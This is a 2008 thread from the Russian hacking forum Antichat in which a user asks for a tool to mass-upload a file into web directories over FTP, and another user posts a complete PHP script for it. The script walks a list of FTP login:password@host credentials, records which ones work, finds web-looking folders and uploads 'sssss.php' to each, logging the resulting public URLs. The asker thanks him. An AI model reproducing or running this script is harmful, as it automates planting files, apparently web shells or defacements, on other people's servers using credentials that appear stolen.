Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

16.05.2008, 23:49
|
|
Постоянный
Регистрация: 15.03.2006
Сообщений: 600
Провел на форуме: 5091304
Репутация:
1203
|
|
Ftp тулза
Срочно нужна тулза, для работы с фтп.
Не нужно ничего навороченного, грузить файл в веб диру (индекс к примеру, если его просто нет или перезаписывать его)
http://forum.antichat.ru/showthread.php?p=304586
это работает как-то нестабильно, то грузит файл, то отказывается.
Посоветуйте, заранее спасибо
|
|
|

16.05.2008, 23:53
|
|
Banned
Регистрация: 15.05.2008
Сообщений: 5
Провел на форуме: 61602
Репутация:
23
|
|
FileZilla +))) фтп клиентов то полно
|
|
|

16.05.2008, 23:54
|
|
Постоянный
Регистрация: 15.03.2006
Сообщений: 600
Провел на форуме: 5091304
Репутация:
1203
|
|
Причем здесь файлзилла? мне массово нужно это делать
|
|
|

16.05.2008, 23:55
|
|
Banned
Регистрация: 15.05.2008
Сообщений: 5
Провел на форуме: 61602
Репутация:
23
|
|
запусти много файлзил)
|
|
|

17.05.2008, 00:42
|
|
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме: 5128756
Репутация:
2032
|
|
d1ez money maker
|
|
|

17.05.2008, 00:47
|
|
Постоянный
Регистрация: 30.09.2007
Сообщений: 815
Провел на форуме: 2590715
Репутация:
659
|
|
вот мой мегапревадный скрипт писан недавно как раз для этих целей, читает список фтп, коннектится, выбирает диры похожие на веб-диры и записывает в каждую из них файл.
PHP код:
<?
set_time_limit(0);
Error_Reporting(E_ALL & ~E_NOTICE);
$all_ftp = file("ftp.txt");
$remotefilename = "sssss.php";
$localfilename = "sssss.php";
function iswebdir($dir){
$strs = array("www", "html", "http", "docs");
foreach ($strs as $ptrn){
if (strstr($dir, $ptrn))
return 1;
}
return 0;
}
function writelog($txt){
$flog = fopen("log.txt", "a");
fwrite($flog, $txt."\r\n");
fclose($flog);
}
for ($i=0; $i<sizeof($all_ftp); $i++){
$ftp = trim($all_ftp[$i]);
$fcurr = fopen("current.txt", "w");
fwrite($fcurr, $i."\r\n".$ftp);
fclose($fcurr);
$login="";
$pass="";
$account=eregi_replace("\n|\r|ftp://","",trim($ftp));
$host=str_replace("/","",substr($account,strrpos($account,"@")+1));
$loginpass=substr($account,0,strrpos($account,"@"));
@list($login,$pass)=@explode(":",$loginpass,2);
$conn = ftp_connect($host, 21, 10);
if (!$conn) {
//writelog("Not connect $ftp");
continue;
} //else writelog("Connect to $ftp");
$login_result = ftp_login($conn, $login, $pass);
if (!$login_result) {
//writelog("Wrong login $ftp");
ftp_quit($conn);
continue;
} //else writelog("Login to $ftp");
$fvalid = fopen("valid.txt", "a");
fwrite($fvalid, $ftp."\r\n");
fclose($fvalid);
ftp_pasv($conn, true);
$rootdir = ftp_pwd($conn);
//writelog("pwd=$rootdir");
$webdirs = array($rootdir);
$filelist = ftp_rawlist($conn, $rootdir);
foreach ($filelist as $raw){
$filename = trim(substr($raw, strrpos($raw, " ")));
$len = strlen($filename);
if (substr($filename, $len-1) == "/")
$filename = substr($filename, 0, $len - 1);
if ($slash = strrpos($filename, "/"))
$filename = substr($filename, $slash + 1);
if (substr($raw, 0, 1) == "d"){ //directory
if (iswebdir($filename)){
//writelog("webdit ".$rootdir."/".$filename);
$webdirs[] = $rootdir."/".$filename;
}
}
}
foreach ($webdirs as $dir){
$f1 = $dir."/".$remotefilename;
$f2 = $localfilename;
if (ftp_put($conn, $f1, $f2, FTP_BINARY))
//writelog("uploaded $f2 to $f1");
writelog("http://".$host."/sssss.php");
//else
//writelog("cannot upload $f2 to $f1");
}
ftp_quit($conn);
}
?>
|
|
|

17.05.2008, 01:20
|
|
Постоянный
Регистрация: 15.03.2006
Сообщений: 600
Провел на форуме: 5091304
Репутация:
1203
|
|
Спасибо, это именно то, что нужно!
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|